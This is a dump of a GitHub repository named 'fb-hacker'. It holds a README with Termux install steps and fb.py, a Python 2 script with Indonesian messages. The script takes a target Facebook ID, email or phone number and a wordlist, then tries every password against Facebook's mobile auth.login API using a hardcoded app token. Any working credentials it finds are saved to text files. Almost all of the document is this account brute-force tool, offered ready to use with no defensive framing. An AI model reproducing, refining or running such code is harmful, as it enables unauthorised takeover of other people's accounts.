├── README.md ├── Screenshot_2019-07-01-20-10-04-92-picsay.png ├── fb.py └── wordlist.txt /README.md: -------------------------------------------------------------------------------- 1 | # Install 2 | ``` 3 | $ pkg update && pkg upgrade 4 | $ pkg install git 5 | $ pkg install python2 6 | $ git clone https://github.com/V4N654T/fb-hacker 7 | $ cd fb-hacker 8 | $ python2 fb.py 9 | ``` 10 | # thanks to 11 | #### All members D4RKN355 T34M 12 | #### Fachri Yuzzy 13 | #### Allah SWT 14 | -------------------------------------------------------------------------------- /Screenshot_2019-07-01-20-10-04-92-picsay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jokerx6/fb-hacker/a59e591eea310cb4fc8fbf96622ed5464f8d4b5f/Screenshot_2019-07-01-20-10-04-92-picsay.png -------------------------------------------------------------------------------- /fb.py: -------------------------------------------------------------------------------- 1 | import os, sys, time, datetime, random, json 2 | from multiprocessing.pool import ThreadPool 3 | try: 4 | import mechanize 5 | except ImportError: 6 | os.system('pip2 install mechanize') 7 | else: 8 | try: 9 | import requests 10 | except ImportError: 11 | os.system('pip2 install requests') 12 | 13 | from requests.exceptions import ConnectionError 14 | from mechanize import Browser 15 | reload(sys) 16 | sys.setdefaultencoding('utf8') 17 | br = mechanize.Browser() 18 | br.set_handle_robots(False) 19 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 20 | br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] 21 | 22 | internet = '\n\x1b[33;1m \xe2\x95\xad\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x97\xa2\xe2\x97\xa4\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x95\xae\n\x1b[33;1m \xe2\x94\x83\xe2\x94\x8f\xe2\x94\x93\xe2\x94\x8f\xe2\x94\x81\xe2\x94\x81\xe2\x94\xb3\xe2\x97\xa2\xe2\x97\xa4\xe2\x94\xb3\xe2\x94\x93\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xb1\xe2\x94\x83\x1b[32;1m Cheking Acces\n\x1b[33;1m \xe2\x94\x83\xe2\x94\x83\xe2\x94\xa3\xe2\x94\xab\xe2\x95\xb1\xe2\x95\xb1\xe2\x97\xa2\xe2\x97\xa4\xe2\x95\xb1\xe2\x95\xb1\xe2\x94\xa3\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x83\x1b[32;1m Internet\n\x1b[33;1m \xe2\x94\x83\xe2\x94\x97\xe2\x94\x9b\xe2\x94\x97\xe2\x94\x81\xe2\x97\xa2\xe2\x97\xa4\xe2\x94\xbb\xe2\x94\xbb\xe2\x94\xbb\xe2\x94\x9b\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xb1\xe2\x94\x83\n\x1b[33;1m \xe2\x95\xb0\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x97\xa2\xe2\x97\xa4\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x94\x81\xe2\x95\xaf\n\x1b[35;1m--------------------------------------' 23 | banner = '\n\033[31;1m____ ____ ____ ____ ___ ____ ____ _ _\n|___ |__| | |___ |__] | | | | |_/\n\033[37;1m| | | |___ |___ |__] |__| |__| | \_\n\033[31;1m _ _ ____ ____ _ _ ____ ____\n |__| |__| | |_/ |___ |__/\n\033[37;1m | | | | |___ | \_ |___ | \\\n\033[36;1mCreated By\033[31;1m :\033[32;1m Seluruh grup \033[32;1m[\033[37;1mD4RKN355 T34M\033[32;1m]\n\033[35;1m------------------------------------------' 24 | 25 | 26 | def ceknet(): 27 | try: 28 | os.system('reset') 29 | print internet 30 | print '\r\033[37;1m[\x1b[92m+\033[37;1m] \033[37;1mMeriksa Koneksi Internet' 31 | time.sleep(2) 32 | toolbar_width = 25 33 | sys.stdout.write('[%s]' % ('-\033[37;1m' * toolbar_width)) 34 | sys.stdout.flush() 35 | for i in range(toolbar_width): 36 | sys.stdout.write('\r') 37 | sys.stdout.flush() 38 | sys.stdout.write('\033[37;1m[') 39 | sys.stdout.write('\033[36;1m#\033[37;1m' * (i + 1)) 40 | sys.stdout.flush() 41 | time.sleep(5.0 / 100) 42 | try: 43 | rq = requests.get('http://facebook.com') 44 | time.sleep(3.5) 45 | print '\033[37;1m] \033[35;1m~> \033[32;1mSucces ' 46 | time.sleep(2.0) 47 | start() 48 | except requests.exceptions.ConnectionError: 49 | time.sleep(3.5) 50 | print '\033[37;1m]\033[35;1m ~>\033[31;1m Tidak Ada koneksi' 51 | time.sleep(1.5) 52 | sys.exit() 53 | 54 | except KeyboardInterrupt: 55 | time.sleep(3.5) 56 | exit('\n\033[37;1m[\x1b[92mx\033[37;1m] \033[31;1mProgram berhenti\n') 57 | 58 | def start(): 59 | try: 60 | os.system('reset') 61 | print banner 62 | email = raw_input('\033[34;1m[\033[37;1m~\033[34;1m]\033[37;1m ID \033[36;1m| \033[37;1mEmail\033[36;1m | \033[37;1mHP \033[31;1m: \033[32;1m') 63 | passw = raw_input('\033[34;1m[\033[37;1m~\033[34;1m]\033[37;1m File Wordlist \033[31;1m:\033[32;1m ') 64 | total = open(passw, 'r') 65 | total = total.readlines() 66 | print '\033[34;1m[\033[37;1m^\033[34;1m] \033[37;1mTarget\033[36;1m :\033[32;1m ' + email 67 | time.sleep(3.0) 68 | print '\033[34;1m[\033[37;1m^\033[34;1m] \033[37;1mTotal List \033[36;1m:\033[32;1m ' + str(len(total)) 69 | time.sleep(3.0) 70 | print 71 | sandi = open(passw, 'r') 72 | for pw in sandi: 73 | try: 74 | pw = pw.replace('\n', '') 75 | sys.stdout.write('\r\033[32;1m[\033[37;1m=\033[32;1m]\033[34;1m Start \033[37;1m>\033[35;1m '+email+'\033[37;1m >\033[35;1m '+pw) 76 | sys.stdout.flush() 77 | data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 78 | mpsh = json.loads(data.text) 79 | if 'access_token' in mpsh: 80 | dapat = open('succes.txt', 'w') 81 | dapat.write('[ID]=> ' + email + '\n') 82 | dapat.write('[PW]=> ' + pw) 83 | dapat.close() 84 | print '\n\n\033[32;1m[+] \033[37;1mPASSWORD FOUND' 85 | print '\033[32;1m[+] \033[37;1mUsername \033[32;1m: \033[35;1m'+email 86 | print '\033[32;1m[+] \033[37;1mPassword \033[32;1m:\033[35;1m '+pw 87 | print '\033[32;1m[+] \033[37;1mStatus \033[32;1m:\033[32;1m SUCCES' 88 | print '\033[32;1m[=] \033[37;1mProgram Finish' 89 | sys.exit() 90 | else: 91 | if 'www.facebook.com' in mpsh['error_msg']: 92 | ceks = open('succesCP.txt', 'w') 93 | ceks.write('[ID]=> ' + email + '\n') 94 | ceks.write('[PW]=> ' + pw) 95 | ceks.close() 96 | print '\n\n\033[33;1m[+] \033[37;1mPASSWORD FOUND' 97 | print '\033[33;1m[+] \033[37;1mUsername \033[32;1m: \033[35;1m'+email 98 | print '\033[33;1m[+] \033[37;1mPassword \033[32;1m:\033[35;1m '+pw 99 | print '\033[33;1m[+] \033[37;1mStatus \033[32;1m:\033[33;1m CHEKPOINT' 100 | print '\033[33;1m[=] \033[37;1mProgram Finish' 101 | sys.exit() 102 | except requests.exceptions.ConnectionError: 103 | print '\033[37;1m[\033[32;1mx\033[37;1m] \033[31;1mkoneksi error' 104 | sys.exit() 105 | 106 | except IOError: 107 | print '\033[37;1m[\033[32;1mx\033[37;1m] \033[37;1mAlamat wordlist tidak ada' 108 | print '\033[37;1m[\033[32;1mx\033[37;1m] \033[37;1mSaya sarankan Untuk Membuatnya sendiri' 109 | sys.exit() 110 | 111 | ceknet() 112 | --------------------------------------------------------------------------------